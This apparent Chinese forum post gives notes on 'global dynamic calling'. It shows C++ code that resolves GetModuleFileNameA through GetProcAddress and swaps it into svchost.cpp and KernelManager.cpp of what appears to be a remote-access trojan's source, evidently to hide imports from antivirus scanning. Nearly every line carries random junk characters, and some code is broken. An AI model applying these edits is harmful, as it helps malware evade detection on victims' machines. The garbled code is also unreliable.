
- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记# {5 c. u% a9 X- \) `$ h
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h5 ?- X! }; u% ~% E' b/ k
----------------------------------------
5 X5 X9 W0 A( w( ]DTDY.h:% d) v' R: B, v' s: d* F7 W, L
, Q* k9 P9 S) ^% m. v4 h" G: j" }#if _MSC_VER>1000; M; O" `6 L1 W j6 k
#pragma once" p. i; w; F9 y- i9 k/ [
#endif //_MSC_VER>1000
! @- Y$ \/ v) s* p L/ S$ n#include<windows.h>" Q! J+ q J! V
7 x% F5 G9 l( N% o2 Rtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
% O; \9 i, }' D, d V7 cclass DTDY
3 ?; e8 U& S" ?' u3 n{
" c7 k" V3 p; z* ]% i( lpublic:
! i5 m0 s0 }6 x7 [) y* [ d- hDTDY();
9 N$ T. A% d/ w; D: e& Evirtual ~DTDY();
+ W* R: P& F- r5 P8 z: cpublic:
) X- [7 I) a% x# o" m. Istatic pGetModuleFileNameA MyGetModuleFileName;
* e+ x' W, I: ystatic BOOL FunInitiallization();2 u( m4 u! E0 k7 _% o0 {- X
};4 b6 Q3 H1 K1 `! }! s
#endif: }8 `/ S* @# @( f1 ^
----------------------------------------' C% ^/ c n( ?
1 ]( h: K- ~9 E) z+ W0 g
DTDY.cpp:5 f# Q4 E( |8 W1 U- F
g1 q+ Q7 p! }* K- l8 E9 ~& S
#include "DTDY.h"2 @ e- Q6 g6 [4 s) C# P) a# Z& l
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;! _, ~% d+ e* I2 x# N i
DTDY:TDY()' w7 p9 P1 b# K$ S1 y/ Z
{/ O+ J4 q* y6 d/ c7 }
}
/ S* [ L: S& s- |' B3 c+ zDTDY::~DTDY()
: X7 E- d" F& D* P* u( \{
3 \ t1 x+ J& r6 y}; f2 r6 }1 _# X% Q$ p7 I
BOOL DTDY::FunInitiallization()3 B, T. K" a* ?5 E' @7 h
{
' [3 O) \ d P1 Z3 S- D5 n/ _HMODULE hModule=LoadLibrary("kernel32.dll");
9 H' f1 c% i, ?" J: SMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
$ m& x( W8 x7 Z* Vif(!MyGetModuleFileName=) return FALSE;6 ?4 |0 W! H/ l% O* E" T% r
, q4 Y4 U: N- Oreturn TRUE;2 g5 x. s, _5 Z3 O$ Q% ^9 p; J2 n' D
}' I' E; w6 K: O5 o+ @
----------------------------------------
! k: q/ c+ u2 B) vsvchost.cpp:
7 x; h2 `$ i' _- V" I9 Q
9 q+ D# b: X& e6 G# I#include "DTDY.h"* } }3 v! F2 E' {1 Q; ?
8 Z7 e, Z# X1 t/ Z; V4 D
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)+ _+ q4 j" S1 U/ Z0 {9 ?. o, B
{9 M5 i- G- z4 ]/ Y* l3 n
switch(ul_reason_for_call)* ^( ~) E5 U6 X- h
{
/ C) [& O# @, c4 qcase DLL_PROCESS_ATTACH:. y+ W' G$ l( e
if(!DTDY::FunInitiallization()) return FALSE;1 y# W" N4 k- k0 X
/ n. d# I" _7 J5 Xbreak;
" t: b6 W; `) s* u* E: _- V1 b}
. ?$ s/ ?0 W( Y! X) y- K3 K8 P}" w. Q* J5 u; i( p; b
% p* ?0 T0 S9 @! P5 H( @ z; ~
) {; y, f) K [ H( m8 v% ~3 l$ p7 CGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
9 I: A" J* d6 b! P" y d# u改写为
$ Q& \- |& R1 \' g! rDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
1 i, R- I/ o, S# H- s/ n$ `. ~3 i----------------------------------------
2 k2 P2 f4 W* yKernelManager.cpp:% |! @$ F' @+ C0 ^
* c6 f* w/ V- A8 o#include "../DTDY.h"
. P- _; z$ @5 A' S K% [1 ZGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));# U" x7 r2 z& F7 Y8 v
改写为6 f. Q' x: P4 C( h. Z5 l
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
/ u7 ~9 c/ t7 Z* x---------------------------------------- |
|